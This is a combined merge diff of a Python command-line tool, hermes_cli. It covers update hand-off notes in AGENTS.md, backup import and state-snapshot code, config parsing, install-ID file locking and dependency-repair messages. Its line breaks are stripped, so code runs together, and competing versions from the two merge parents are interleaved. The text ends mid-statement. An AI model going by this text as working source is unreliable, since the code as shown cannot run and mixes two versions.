hermes_cli/AGENTS.mdindex f85b5c9b835,142a16e9ef7..da762b9ec37--- a/hermes_cli/AGENTS.md+++ b/hermes_cli/AGENTS.md@@@ -118,13 -127,25 +127,26 @@@ it guards. `plan → snapshot → appl(exit 1) — automation must never treat a mixed-version fleet as healthy.- **Report**: every run writes a machine-readable receipt to `~/.hermes/logs/update_receipts/`(`latest.json` pointer; steps, skips WITH reasons, restart outcome, plan, fleet snapshot).- Finalization is owned by the `cmd_update` command boundary — early `sys.exit` paths (preflight- refusals, fetch failures) still persist a receipt with the real exit code. A begun-but-unwritten- receipt is a bug: refused/failed runs are the ones receipts exist for. The receipt is opened by- the pre-swap process and finished by the post-swap child (below): `detach_update_receipt` /- `resume_update_receipt` carry it across, so one run still yields exactly one receipt. A write- failure prints `⚠ Update receipt not written` and logs at WARNING, never debug.+ Before a source swap, the parent captures plan/snapshots/receipt and its Windows pause token.+ `update_completion.py` runs new-code PM preparation with site initialization disabled, then+ selected-Python builds, maintenance, scans/restarts and verification. Git/current/ZIP share+ this owner; never reload or purge modules to continue in the old interpreter. The parent keeps+ the lock, waits, and accepts only a correlated terminal result. `cmd_update` still finalizes+ early failures and missing/killed-child outcomes; PM refusal data survives the handoff.+ See `docs/source-update-completion.md`. A begun-but-unwritten receipt is a bug.+ - **Nothing runs pulled code in the pre-pull interpreter** (`update_handoff.py`). The process that+ started `hermes update` imported the PRE-pull tree; once git (or the ZIP swap) has replaced the+ checkout it stops, writes the hand-off payload (open receipt, pre-update plan, pre-update+ version/active features, Windows pause token) and re-executes+ `hermes update <same flags> --post-swap <file>` under the venv interpreter, which imports only the+ pulled tree and owns the tail (deps, Node/web/Desktop, maintenance, config migration, fleet+ restart, verification, receipt); the parent relays the exit code. Every "purge `sys.modules`" /+ "reload this list of modules" / "isolate this one step" fix was a symptom of the old shape and is+ gone — do not reintroduce one: a phase that needs new code runs in the child, full stop. Mocked+ updater tests run the tail in-process via the `_inline_post_swap_handoff` autouse fixture+ (`@pytest.mark.real_post_swap_handoff` opts out). Live A/B:+ `evals/update_pipeline/post_swap_handoff_ab.sh`. Post-update steps still isolate their own+ failures (a crashed notice must not abort the fleet matrix and receipt finalize that follow).Process-scan coordination between updater, serve/dashboard, and gateway is being replaced by agateway-owned control socket (#92091); scans are the fallback layer for old/crashed processes — readdiff --cc hermes_cli/agent_import.pyindex 6fd428fdfe3,2d6902a0d4c..30cdee947ae--- a/hermes_cli/agent_import.py+++ b/hermes_cli/agent_import.py@@@ -15,9 -15,9 +15,9 @@@ import syimport timeimport tomllibfrom pathlib import Path- from typing import Any, Dict, List, Optional, Sequence, Tuple+ from typing import Any, Dict, List, Mapping, Optional, Sequence, Tuple-import yaml+import hermes_yaml as yamlfrom utils import atomic_write_text, atomic_yaml_writediff --cc hermes_cli/backup.pyindex f435741cc22,2b3fe560136..97235f8246a--- a/hermes_cli/backup.py+++ b/hermes_cli/backup.py@@@ -81,10 -69,10 +89,9 @@@ _EXCLUDED_DIRS =".cache", ".tox", ".nox", ".pytest_cache", ".mypy_cache", ".ruff_cache",}- # Hermes-managed runtime downloads (GGUF models, llama.cpp runtimes, managed Node): re-downloaded- # on demand and routinely tens to hundreds of GB. Matched ONLY at the root of HERMES_HOME and at- # ``profiles/<name>/`` — a deeper dir of the same name (a skill's ``models/``) is user data.- _EXCLUDED_ROOT_DIRS = {"models", "runtimes", "node"} | (PM_RUNTIME_ROOT_DIRS - {"cache"})-# Hermes-managed runtime downloads (see ``LOCAL_RUNTIME_ROOT_DIRS``). Matched ONLY at the root of-# HERMES_HOME and at ``profiles/<name>/`` — a deeper dir of the same name (a skill's ``models/``)-# is user data.-_EXCLUDED_ROOT_DIRS = LOCAL_RUNTIME_ROOT_DIRS++# Hermes-managed runtime downloads are regenerable. Match only profile roots:++# a deeper directory of the same name (such as a skill's models/) is user data.++_EXCLUDED_ROOT_DIRS = LOCAL_RUNTIME_ROOT_DIRS | (PM_RUNTIME_ROOT_DIRS - {"cache"})# ``cache/`` at those same roots mixes regenerable state (model/plugin catalogs, stamps, browser# profiles with locked SQLite, tool-output spill) with durable artifacts nothing can rebuild: media@@@ -939,304 -949,230 +946,304 @@@ def run_import(args) -> Nonedb_shrunk.append((rel, before, after))else:_extract_member_atomically(zf, member, target, new_file_mode)- if tighten:- try:- os.chmod(target, 0o600)- except OSError:- if not external: # external configs are tightened best-effort only- raise+ if target.name in _SECRET_FILE_NAMES:+ os.chmod(target, 0o600)restored += 1- restored_external += externalexcept (PermissionError, OSError) as exc:- errors.append(f"{label}: {exc}")+ errors.append(f" {rel}: {exc}")- if restored % 500 == 0:- print(f" {restored}/{file_count} files ...")+ if restored % 500 == 0:+ print(f" {restored}/{file_count} files ...")- return restored, restored_external, errors, skipped_runtime, db_shrunk+ elapsed = time.monotonic() - t0+ # Summary+ print()+ print(f"Import complete: {restored} files restored in {elapsed:.1f}s")+ print(f" Target: {display_hermes_home()}")-def run_import(args) -> None:- """Restore a Hermes backup from a zip file."""- zip_path = Path(args.zipfile).expanduser().resolve()- if not zip_path.is_file():- print(f"Error: File not found: {zip_path}")- sys.exit(1)- if not zipfile.is_zipfile(zip_path):- print(f"Error: Not a valid zip file: {zip_path}")- sys.exit(1)- # The restore target is the home the command operates under (the printed "Target:");- # ``get_default_hermes_root()`` would silently retarget a profile restore at the live root.- hermes_root = get_hermes_home()- with zipfile.ZipFile(zip_path, "r") as zf:- ok, reason = _validate_backup_zip(zf)- if not ok:- print(f"Error: {reason}")- sys.exit(1)- prefix = _detect_prefix(zf)- members = [n for n in zf.namelist() if not n.endswith("/")]- file_count = len(members)- print(f"Backup contains {file_count} files\nTarget: {display_hermes_home()}")- if prefix:- print(f"Detected archive prefix: {prefix!r} (will be stripped)")- if not args.force and not _confirm_import_overwrite(hermes_root):- return- print(f"\nImporting {file_count} files ...")- hermes_root.mkdir(parents=True, exist_ok=True)- t0 = time.monotonic()- restored, restored_external, errors, skipped_runtime, db_shrunk = _import_members(- zf, members, prefix, hermes_root, file_count)- elapsed = time.monotonic() - t0- print(f"\nImport complete: {restored} files restored in {elapsed:.1f}s\n Target: {display_hermes_home()}")if restored_external:- print(f"\n Restored {restored_external} memory-provider file(s) to "- f"their original location(s) outside {display_hermes_home()}.")+ print(+ f"\n Restored {restored_external} memory-provider file(s) to "+ f"their original location(s) outside {display_hermes_home()}."+ )+if errors:- _print_capped(f"\n Warnings ({len(errors)} files skipped):", errors, " ")+ print(f"\n Warnings ({len(errors)} files skipped):")+ for e in errors[:10]:+ print(e)+ if len(errors) > 10:+ print(f" ... and {len(errors) - 10} more")+if db_shrunk:- # The backup predates work that is now overwritten — say so (#100960: twelve sessions- # disappeared with nothing logged anywhere).+ # The backup predates work that is now overwritten. Say so: the+ # reported incident was twelve sessions disappearing with nothing+ # logged anywhere (issue #100960).print("\n ⚠ Session data replaced by older backup contents:")for rel, before, after in db_shrunk:- print(f" {rel}: {before[0]} session(s) / {before[1]} message(s)"- f" -> {after[0]} / {after[1]}")- print(f" Anything recorded after the backup was taken is not in it. {_snapshot_recovery_hint()}")+ print(+ f" {rel}: {before[0]} session(s) / {before[1]} message(s)"+ f" -> {after[0]} / {after[1]}"+ )+ print(+ " Anything recorded after the backup was taken is not in it. "- "Recover from a newer backup or snapshot: hermes snapshot list"++ f"{_snapshot_recovery_hint()}"+ )+if skipped_runtime:- _print_capped(f"\n Preserved {len(skipped_runtime)} runtime state "- f"file(s) (kept this machine's, not the backup's):",- sorted(skipped_runtime), " ")- restored_profiles = _restore_profile_wrappers(hermes_root)+ print(+ f"\n Preserved {len(skipped_runtime)} runtime state "+ f"file(s) (kept this machine's, not the backup's):"+ )+ for rel in sorted(skipped_runtime)[:10]:+ print(f" {rel}")+ if len(skipped_runtime) > 10:+ print(f" ... and {len(skipped_runtime) - 10} more")++ # Post-import: restore profile wrapper scripts+ profiles_dir = hermes_root / "profiles"+ restored_profiles = []+ if profiles_dir.is_dir():+ try:+ from hermes_cli.profiles import (+ create_wrapper_script, check_alias_collision,+ _is_wrapper_dir_in_path, _get_wrapper_dir,+ )+ for entry in sorted(profiles_dir.iterdir()):+ if not entry.is_dir():+ continue+ profile_name = entry.name+ # Only create wrappers for directories with config+ if not (entry / "config.yaml").exists() and not (entry / ".env").exists():+ continue+ collision = check_alias_collision(profile_name)+ if collision:+ print(f" Skipped alias '{profile_name}': {collision}")+ restored_profiles.append((profile_name, False))+ else:+ wrapper = create_wrapper_script(profile_name)+ restored_profiles.append((profile_name, wrapper is not None))++ if restored_profiles:+ created = [n for n, ok in restored_profiles if ok]+ skipped = [n for n, ok in restored_profiles if not ok]+ if created:+ print(f"\n Profile aliases restored: {', '.join(created)}")+ if skipped:+ print(f" Profile aliases skipped: {', '.join(skipped)}")+ if not _is_wrapper_dir_in_path():+ print(f"\n Note: {_get_wrapper_dir()} is not in your PATH.")+ print(' Add to your shell config (~/.bashrc or ~/.zshrc):')+ print(' export PATH="$HOME/.local/bin:$PATH"')+ except ImportError:+ # hermes_cli.profiles might not be available (fresh install)+ if any(profiles_dir.iterdir()):+ print("\n Profiles detected but aliases could not be created.")+ print(" Run: hermes profile list (after installing hermes)")++ # Guidanceprint()if not (hermes_root / "hermes-agent").is_dir():- print("Note: The hermes-agent codebase was not included in the backup.\n"- " If this is a fresh install, run: hermes update")+ print("Note: The hermes-agent codebase was not included in the backup.")+ print(" If this is a fresh install, run: hermes update")+if restored_profiles:+ gw_profiles = [n for n, _ in restored_profiles]print("\nTo re-enable gateway services for profiles:")- for pname in restored_profiles:+ for pname in gw_profiles:print(f" hermes -p {pname} gateway install")- _revive_gateway_after_import(hermes_root)- print("Done. Your Hermes configuration has been restored.")+ # Bring the restored install to life: the backup may contain bot+ # tokens and registered cron jobs, but they're inert without a+ # gateway process. Install/start the service automatically (a+ # platform-less gateway is a supported mode, so this is safe even+ # for backups with no messaging config). Best-effort and prompt-free;+ # failures print a manual fallback and never fail the import.+ native_default = _get_platform_default_hermes_home()+ default_has_install = any(+ (native_default / marker).exists()+ for marker in ("config.yaml", ".env", "state.db")+ )+ # A restore into a sandbox or profile home must not silently install+ # a second gateway pointed at it — on the default service name that+ # would shadow or hijack the machine's primary install. Only revive+ # the service automatically when the restore landed in the default+ # home, or when no other install exists on this machine.+ if hermes_root != native_default and default_has_install:+ print(+ "\nRestored into a non-default home; leaving the gateway service "+ "alone to avoid clashing with the install at "+ f"{native_default}."+ )+ print("To start a gateway for this home, run: hermes gateway install")+ else:+ try:+ from hermes_cli.gateway import ensure_gateway_service, _is_service_running-def _restore_profile_wrappers(hermes_root: Path) -> List[str]:- """Re-create shell wrapper scripts for restored named profiles; return the profile names seen."""- profiles_dir = hermes_root / "profiles"- restored_profiles: list[tuple[str, bool]] = []- if not profiles_dir.is_dir():- return []- try:- from hermes_cli.profiles import (- create_wrapper_script, check_alias_collision, _is_wrapper_dir_in_path, _get_wrapper_dir)- for entry in sorted(profiles_dir.iterdir()):- if not entry.is_dir() or not any((entry / m).exists() for m in ("config.yaml", ".env")):- continue # only profiles with config get wrappers- profile_name = entry.name- collision = check_alias_collision(profile_name)- if collision:- print(f" Skipped alias '{profile_name}': {collision}")- restored_profiles.append(- (profile_name, not collision and create_wrapper_script(profile_name) is not None))- if restored_profiles:- created = [n for n, ok in restored_profiles if ok]- skipped = [n for n, ok in restored_profiles if not ok]- if created:- print(f"\n Profile aliases restored: {', '.join(created)}")- if skipped:- print(f" Profile aliases skipped: {', '.join(skipped)}")- if not _is_wrapper_dir_in_path():- print(f"\n Note: {_get_wrapper_dir()} is not in your PATH.\n"- " Add to your shell config (~/.bashrc or ~/.zshrc):\n"- ' export PATH="$HOME/.local/bin:$PATH"')- except ImportError: # hermes_cli.profiles unavailable (fresh install)- if any(profiles_dir.iterdir()):- print("\n Profiles detected but aliases could not be created.\n"- " Run: hermes profile list (after installing hermes)")- return [n for n, _ in restored_profiles]---def _revive_gateway_after_import(hermes_root: Path) -> None:- """Install/start the gateway service after a restore, best-effort and prompt-free.-- Bot tokens and cron jobs are inert without a gateway (a platform-less gateway is supported, so- this is safe for any backup); failures print a manual fallback, never fail the import. Only- revived when the restore landed in the default home or no other install exists: a sandbox or- profile restore must not install a second gateway on the default service name.- """- native_default = _get_platform_default_hermes_home()- if hermes_root != native_default and any(- (native_default / marker).exists() for marker in ("config.yaml", ".env", "state.db")):- print("\nRestored into a non-default home; leaving the gateway service alone to avoid clashing "- f"with the install at {native_default}.\n"- "To start a gateway for this home, run: hermes gateway install")- return- try:- from hermes_cli.gateway import ensure_gateway_service, _is_service_running- if not _is_service_running():- print()- ensure_gateway_service(context="import")- except Exception:- print("\nStart the gateway to activate cron jobs and messaging:\n hermes gateway install")+ if not _is_service_running():+ print()+ ensure_gateway_service(context="import")+ except Exception:+ print("\nStart the gateway to activate cron jobs and messaging:")+ print(" hermes gateway install")+ print("Done. Your Hermes configuration has been restored.")-# --- Quick state snapshots (used by /snapshot slash command and hermes backup --quick) ----# Critical state files (relative to HERMES_HOME) for quick snapshots; everything else is-# regeneratable or managed separately (skills, repo, sessions/). Entries may be files OR-# directories (recursive); missing entries are skipped. Pairing data lives in platform JSON blobs-# outside state.db, so it is listed explicitly — ``hermes update`` snapshots this set (#15733).-_QUICK_STATE_FILES = (- "state.db", "config.yaml", ".env", "auth.json", "cron/jobs.json", "cron/executions.db",- "gateway_state.json", "channel_directory.json", "channel_aliases.json", "processes.json",- "gateway/discord_message_recovery.db", # Discord reconnect replay ledger- # Per-profile user stores, destroyed if the update flow replaces the file and the post-update- # schema-init re-creates an empty one (#52889). Skipped when outside HERMES_HOME.- "projects.db", # per-profile project store- "response_store.db", # gateway conversation history / tool payloads- "memory_store.db", # holographic memory facts/entities- "verification_evidence.db", # agent verification audit trail- "kanban.db", # default board (back-compat <root>/kanban.db)- "kanban/boards", # non-default boards (workspaces/ + attachments/ skipped as regenerable)- # Pairing stores (generic + per-platform JSONs outside state.db)- "pairing", # legacy location (gateway/pairing.py)- "platforms/pairing", # new location (gateway/pairing.py)- "feishu_comment_pairing.json", # Feishu comment subscription pairings-)+# ---------------------------------------------------------------------------+# Quick state snapshots (used by /snapshot slash command and hermes backup --quick)+# ----------------------------------------------------------------------------_QUICK_DEFAULT_KEEP = 20+def create_quick_snapshot(+ label: Optional[str] = None,+ hermes_home: Optional[Path] = None,+ keep: Optional[int] = None,+ max_file_size: Optional[int] = None,+) -> Optional[str]:+ """Create one atomic quick snapshot while holding the shared backup slot."""+ home = hermes_home or get_hermes_home()+ with _backup_operation_lock(home):+ return _create_quick_snapshot_locked(+ label=label,+ hermes_home=home,+ keep=keep,+ max_file_size=max_file_size,+ )-def _quick_snapshot_root(hermes_home: Optional[Path] = None) -> Path:+def _create_quick_snapshot_locked(+ label: Optional[str] = None,+ hermes_home: Optional[Path] = None,+ keep: Optional[int] = None,+ max_file_size: Optional[int] = None,+) -> Optional[str]:+ """Create a quick state snapshot of critical files.++ Copies STATE_FILES to a timestamped directory under state-snapshots/.+ Auto-prunes old snapshots beyond the keep limit.++ Args:+ max_file_size: When set, individual files larger than this many bytes+ are skipped (with a printed warning) instead of copied. Used by+ the pre-update safety snapshot so a multi-GB ``state.db`` can+ never stall ``hermes update`` or silently eat disk — the small+ pairing/cron/config files the snapshot exists to protect are+ always captured. ``None`` (default) copies everything, which+ preserves manual ``/snapshot`` and ``hermes backup --quick``+ behavior.++ Returns:+ Snapshot ID (timestamp-based), or None if no files found.+ """home = hermes_home or get_hermes_home()- return home / _QUICK_SNAPSHOTS_DIR+ root = _quick_snapshot_root(home)+ def _too_large(path: Path, rel_name: str) -> bool:+ """True (and warn) when ``path`` exceeds the max_file_size cap."""+ if max_file_size is None:+ return False+ try:+ size = path.stat().st_size+ except OSError:+ return False+ if size <= max_file_size:+ return False+ print(+ f" ⚠ Snapshot: skipping {rel_name} "+ f"({_format_size(size)} exceeds {_format_size(max_file_size)} limit)"+ )+ logger.warning(+ "Quick snapshot skipped %s: %d bytes exceeds %d byte limit",+ rel_name,+ size,+ max_file_size,+ )+ return True-def create_quick_snapshot(- label: Optional[str] = None, hermes_home: Optional[Path] = None, keep: Optional[int] = None,- max_file_size: Optional[int] = None) -> Optional[str]:- """Create one atomic quick snapshot while holding the shared backup slot."""- home = hermes_home or get_hermes_home()- with _backup_operation_lock(home):- return _create_quick_snapshot_locked(label, home, keep, max_file_size)+ ts = datetime.now(timezone.utc).strftime("%Y%m%d-%H%M%S")+ base_snap_id = f"{ts}-{label}" if label else ts+ snap_id = base_snap_id+ suffix = 2+ while (root / snap_id).exists():+ snap_id = f"{base_snap_id}-{suffix}"+ suffix += 1+ snap_dir = root / snap_id+ staging_dir = root / f".{snap_id}.{os.getpid()}.partial"+ shutil.rmtree(staging_dir, ignore_errors=True)+ root.mkdir(parents=True, exist_ok=True, mode=0o700)+ if os.name != "nt":+ os.chmod(root, 0o700)+ staging_dir.mkdir(mode=0o700, exist_ok=False)+ logger.info("quick snapshot phase=copy status=started id=%s", snap_id)+ manifest: Dict[str, int] = {} # rel_path -> file size+ failed_dbs: list[str] = [] # present *.db that could not be snapshotted+ # #68805: track protected DB files skipped for size — they are snapshot+ # incompleteness just like a failed copy, so pruning must be suppressed+ # to preserve the older complete snapshot that may contain the only+ # recoverable database.+ oversized_skipped: list[str] = []-def _quick_snapshot_candidates(home: Path):- """Yield ``(src, rel_posix, in_dir)`` for every regular file a quick snapshot captures; heavy- regenerable per-board subtrees (workspaces, attachments) are skipped."""for rel in _QUICK_STATE_FILES:src = home / rel+ if not src.exists():+ continue+if src.is_dir():- for sub in filter(Path.is_file, src.rglob("*")):+ # Walk the directory and record each file individually in the+ # manifest so restore can treat them uniformly. Empty dirs are+ # skipped (nothing to snapshot).+ for sub in src.rglob("*"):+ if not sub.is_file():+ continuesub_rel = sub.relative_to(home).as_posix()+ # Skip heavy, regenerable per-board subtrees (scratch+ # workspaces and task attachments can be large); we only need+ # the board databases + their metadata to restore a board.if "/workspaces/" in f"/{sub_rel}/" or "/attachments/" in f"/{sub_rel}/":continue- yield sub, sub_rel, True- elif src.is_file():- yield src, rel, False+ if _too_large(sub, sub_rel):+ if sub.suffix == ".db":+ oversized_skipped.append(sub_rel)+ continue+ dst = staging_dir / sub_rel+ dst.parent.mkdir(parents=True, exist_ok=True)+ try:+ # Route SQLite DBs through the WAL-safe backup() path so a+ # board DB with an open WAL (the gateway may hold it at+ # snapshot time) is captured consistently.+ if sub.suffix == ".db":+ if not _safe_copy_db(sub, dst):+ failed_dbs.append(sub_rel)+ print(+ f" ⚠ Snapshot: SQLite safe copy FAILED for {sub_rel} "+ f"— file may be locked or corrupted"+ )+ if is_zeroed_sqlite_file(sub):+ print(+ f" ⚠ Snapshot: {sub_rel} looks ZEROED "+ f"(no SQLite header; {sub.stat().st_size} bytes of NULs?)"+ )+ continue+ else:+ shutil.copy2(sub, dst)+ manifest[sub_rel] = dst.stat().st_size+ except (OSError, PermissionError) as exc:+ logger.warning("Could not snapshot %s: %s", sub_rel, exc)+ continue+ if not src.is_file():+ continue-def _copy_quick_snapshot_files(- home: Path, staging_dir: Path, max_file_size: Optional[int]-) -> tuple[Dict[str, int], list[str], list[str]]:- """Copy every quick-snapshot candidate into *staging_dir*.+ if _too_large(src, rel):+ if src.suffix == ".db":+ oversized_skipped.append(rel)+ continue- Returns ``(manifest {rel: size}, failed_dbs, oversized_skipped)``. The last two are snapshot- incompleteness (#68805): the caller must suppress pruning so the older snapshot that may hold- the only recoverable DB survives.- """- manifest: Dict[str, int] = {}- failed_dbs: list[str] = []- oversized_skipped: list[str] = []- for src, rel, in_dir in _quick_snapshot_candidates(home):- if max_file_size is not None:- try:- size = src.stat().st_size- except OSError:- size = None- if size is not None and size > max_file_size:- print(f" ⚠ Snapshot: skipping {rel} "- f"({_format_size(size)} exceeds {_format_size(max_file_size)} limit)")- logger.warning("Quick snapshot skipped %s: %d bytes exceeds %d byte limit", rel, size, max_file_size)- if src.suffix == ".db":- oversized_skipped.append(rel)- continuedst = staging_dir / reldst.parent.mkdir(parents=True, exist_ok=True)+try:- # SQLite DBs go through the WAL-safe backup() path (the gateway may hold the WAL open).if src.suffix == ".db":if not _safe_copy_db(src, dst):failed_dbs.append(rel)@@@ -1255,24 -1187,57 +1262,23 @@@manifest[rel] = dst.stat().st_sizeexcept (OSError, PermissionError) as exc:logger.warning("Could not snapshot %s: %s", rel, exc)- return manifest, failed_dbs, oversized_skipped---def _secure_quick_snapshot_tree(root: Path, snapshot_dir: Path) -> None:- """Make a staged quick snapshot owner-only before it is published.-- The staging directory is private from creation, so copied source modes can- be normalized safely before the final atomic rename exposes the snapshot.- Permission failures are intentionally fatal: publishing a readable- recovery bundle is worse than reporting a failed snapshot.- """- if os.name == "nt":- return- os.chmod(root, 0o700)- os.chmod(snapshot_dir, 0o700)- for path in snapshot_dir.rglob("*"):- if path.is_dir():- os.chmod(path, 0o700)- elif path.is_file():- os.chmod(path, 0o600)--def _create_quick_snapshot_locked(- label: Optional[str], home: Path, keep: Optional[int], max_file_size: Optional[int]-) -> Optional[str]:- """Copy the quick-snapshot set to a timestamped dir under state-snapshots/ and prune old ones.-- ``max_file_size`` skips (with a warning) larger files: the pre-update snapshot uses it so a- multi-GB ``state.db`` never stalls ``hermes update`` while the small files are always captured.- """- root = _quick_snapshot_root(home)- ts = datetime.now(timezone.utc).strftime("%Y%m%d-%H%M%S")- base_snap_id = f"{ts}-{label}" if label else ts- snap_id, suffix = base_snap_id, 2- while (root / snap_id).exists():- snap_id = f"{base_snap_id}-{suffix}"- suffix += 1- staging_dir = root / f".{snap_id}.{os.getpid()}.partial"- shutil.rmtree(staging_dir, ignore_errors=True)- root.mkdir(parents=True, exist_ok=True, mode=0o700)- if os.name != "nt":- os.chmod(root, 0o700)- staging_dir.mkdir(mode=0o700, exist_ok=False)- logger.info("quick snapshot phase=copy status=started id=%s", snap_id)- manifest, failed_dbs, oversized_skipped = _copy_quick_snapshot_files(home, staging_dir, max_file_size)if failed_dbs:- # Surface on stdout: a log-and-continue made a missing state.db backup look like a- # successful pre-update snapshot (#68474).- print(f" ⚠ CRITICAL: could not snapshot DB file(s): {', '.join(failed_dbs)}\n"- f" ⚠ If sessions disappear after the update, check {root}. {_snapshot_recovery_hint()}")- logger.error("Quick snapshot failed to capture DB file(s): %s", ", ".join(failed_dbs))+ # Critical: update path used to log-and-continue with exit 0, so a+ # missing state.db backup looked like a successful pre-update snapshot+ # (#68474). Surface this on stdout where operators actually look.+ print(+ " ⚠ CRITICAL: could not snapshot DB file(s): "+ + ", ".join(failed_dbs)+ )+ print(- " ⚠ If sessions disappear after update, check "- f"{root} and run: hermes snapshot list"++ f" ⚠ If sessions disappear after the update, check {root}. {_snapshot_recovery_hint()}"+ )+ logger.error(+ "Quick snapshot failed to capture DB file(s): %s",+ ", ".join(failed_dbs),+ )+if not manifest:shutil.rmtree(staging_dir, ignore_errors=True)if failed_dbs:diff --cc hermes_cli/banner.pyindex 44d54b0dcda,730e834cc84..a63f7177e35--- a/hermes_cli/banner.py+++ b/hermes_cli/banner.py@@@ -2,13 -2,14 +2,14 @@@import jsonimport loggingimport os+ import reimport shutil-import subprocessimport sysimport threading-import timefrom pathlib import Path-from urllib.parse import urlparse+from hermes_cli import source_check+# Historical updater import (tests/compat/old_updater_surface.json). In-tree callers use the owner.+from hermes_cli.source_check import _github_compare_behindfrom hermes_constants import get_hermes_homefrom typing import TYPE_CHECKING, Any, Dict, List, Optionaldiff --cc hermes_cli/cli_info_mixin.pyindex db5c8892bdf,76aa226a702..e9254e7a719--- a/hermes_cli/cli_info_mixin.py+++ b/hermes_cli/cli_info_mixin.py@@@ -812,15 -818,15 +818,15 @@@ class CLIInfoMixinif not cfg_path.exists():returntry:- mtime = cfg_path.stat().st_mtime+ sig = file_signature(cfg_path.stat())except OSError:return- if mtime == self._config_mtime:+ if sig == self._config_sig:return # unchanged — fast path- self._config_mtime = mtime+ self._config_sig = sigtry:- with open(cfg_path, encoding="utf-8") as f:+ with open(cfg_path, encoding="utf-8-sig") as f:new_cfg = _yaml.safe_load(f) or {}except Exception:returndiff --cc hermes_cli/config.pyindex 3d4477f16b3,de04552052a..76033565bb9--- a/hermes_cli/config.py+++ b/hermes_cli/config.py@@@ -1897,11 -1943,11 +1959,11 @@@ def _read_raw_config_impl(*, want_deepcpath_key = str(config_path)cached = _RAW_CONFIG_CACHE.get(path_key)- if cached is not None and cached[:2] == cache_key:- return copy.deepcopy(cached[2]) if want_deepcopy else cached[2]+ if cached is not None and cached[:len(cache_key)] == cache_key:+ return copy.deepcopy(cached[len(cache_key)]) if want_deepcopy else cached[len(cache_key)]try:- with open(config_path, encoding="utf-8") as f:+ with open(config_path, encoding="utf-8-sig") as f:data = fast_safe_load(f) or {}except Exception as e:_warn_config_parse_failure(config_path, e)diff --cc hermes_cli/install_identity.pyindex 772bdda3649,46e9c8b191a..1517b255f43--- a/hermes_cli/install_identity.py+++ b/hermes_cli/install_identity.py@@@ -65,23 -65,23 +65,24 @@@ def read_or_create_install_id(root: Pat"""root = get_default_hermes_root() if root is None else rootpath = root / _INSTALL_ID_FILENAME- existing, mint = _read_existing(path)- if not mint:- return existing- try:- from hermes_constants import mkdir_under_hermes_home- mkdir_under_hermes_home(root)- # Windows byte-range locks can report a same-process conflict instead of waiting for another- # thread: serialize threads here, then keep the file lock as the cross-process publication fence.- with _INSTALL_ID_PUBLICATION_LOCK, _install_id_file_lock(root):- existing, mint = _read_existing(path)- if not mint:- return existing- atomic_write_text(path, uuid.uuid4().hex + "\n", tmp_prefix=".install_id-", fsync_dir=True, mode=0o600)- committed = path.read_text(encoding="utf-8").strip().lower()- return committed if _INSTALL_ID_RE.fullmatch(committed) else None- except OSError:- return None+ # A reader can collide with the first atomic replace on Windows. Serialize+ # threads before reading, and recheck an unavailable file under the OS lock.+ with _INSTALL_ID_PUBLICATION_LOCK:+ existing, _ = _read_existing(path)+ if existing is not None:+ return existing # Existing identities remain readable on read-only roots.+ try:- root.mkdir(parents=True, exist_ok=True)++ from hermes_constants import mkdir_under_hermes_home++ mkdir_under_hermes_home(root)+ with _install_id_file_lock(root):+ existing, mint = _read_existing(path)+ if not mint:+ return existing+ atomic_write_text(path, uuid.uuid4().hex + "\n", tmp_prefix=".install_id-", fsync_dir=True, mode=0o600)+ committed = path.read_text(encoding="utf-8-sig").strip().lower()+ return committed if _INSTALL_ID_RE.fullmatch(committed) else None+ except OSError:+ return Nonedef get_install_id(*, cache: dict[str, Optional[str]] | None = None) -> Optional[str]:diff --cc hermes_cli/main_agent_cmds.pyindex 6e8b264de20,7dd3f5d061e..0086a329fab--- a/hermes_cli/main_agent_cmds.py+++ b/hermes_cli/main_agent_cmds.py@@@ -81,11 -81,11 +81,12 @@@ def cmd_acp(args)try:from acp_adapter.entry import main as acp_mainacp_main([flag for attr, flag in _ACP_FLAGS if getattr(args, attr, False)])- except ImportError:- print("ACP dependencies not installed.", file=sys.stderr)+ except ImportError as e:- from hermes_cli.main_dep_hints import missing_optional_deps_message-- print(missing_optional_deps_message("ACP server", "its protocol packages", "acp"), file=sys.stderr)++ print("The ACP server can't start: its protocol packages are missing from this install.", file=sys.stderr)+ print("From the Hermes environment, run: "+ "python -c \"from pm import sync_venv; sync_venv(['acp'], explicit=True)\"", file=sys.stderr)+ print("Then restart Hermes.", file=sys.stderr)+ print(f"Details: {e}", file=sys.stderr)sys.exit(1)diff --cc hermes_cli/main_dep_hints.pyindex 00000000000,e4dafc11aaa..70fbb5381c9mode 000000,100644..100644--- a/hermes_cli/main_dep_hints.py+++ b/hermes_cli/main_dep_hints.py@@@ -1,0 -1,22 +1,9 @@@-"""Plain-language copy for surfaces that cannot start because an optional dependency group is missing.--``hermes dashboard`` (fastapi + uvicorn) and ``hermes acp`` (agent-client-protocol) are installed by-the ``[all]`` / ``[acp]`` extras. A partial install, a pip-less uv venv or an interrupted update can-leave them out; the built-in repair is ``hermes update``, which reinstalls the extras into the same-interpreter. The manual fallback names the checkout directory and interpreter explicitly because a bare-``pip install -e '.[acp]'`` fails on PEP 668 systems and in venvs without pip.-"""--import sys++"""Repair guidance for an unavailable declared dependency group."""+++ def missing_optional_deps_message(surface: str, what: str, extra: str) -> str:- """``surface`` = "dashboard"/"ACP server"; ``what`` = "its web-server packages"; ``extra`` = "all"/"acp"."""- from hermes_cli.main import PROJECT_ROOT-+ return (+ f"The {surface} can't start: {what} are missing from this install.\n"- "Run `hermes update` to reinstall dependencies. If that fails, run manually:\n"- f" cd {PROJECT_ROOT} && {sys.executable} -m pip install -e '.[{extra}]'\n"- f" (no pip in this venv: uv pip install -e '.[{extra}]')"++ "Run `hermes pm install` to prepare the declared dependencies.\n"++ "If an installed dependency is damaged, run `hermes pm repair`, then restart Hermes."+ )diff --cc hermes_cli/main_desktop.pyindex 0b64793e96a,8c3a25b89bc..cf90ab3e1fc--- a/hermes_cli/main_desktop.py+++ b/hermes_cli/main_desktop.py@@@ -18,7 -18,11 +18,8 @@@ import tempfilimport time as _time_modfrom pathlib import Path-from typing import Optional+from typing import Callable, Optional+ from hermes_cli.desktop_console import desktop_console_output, desktop_launch_notice-from hermes_cli.main_tui_launch import _npm_lifecycle_env-from hermes_cli.main_web_build import (- _hash_source_tree, _nixos_build_env, _stamp_is_current, _write_build_stamp)# Log-record parity with the origin module.logger = logging.getLogger("hermes_cli.main")@@@ -1021,13 -1252,90 +1030,14 @@@ def _register_linux_desktop_entry(deferprint(f"✓ Desktop launcher entry installed: {entry}")except Exception as exc: # never block a launch on launcher plumbingprint(f"⚠ Could not install the desktop launcher entry: {exc}")+ return None-def _install_desktop_workspace_deps(npm: str, env: dict) -> None:- """npm-install the desktop workspace; exits on a failure that isn't a repairable missing Electron dist."""- from 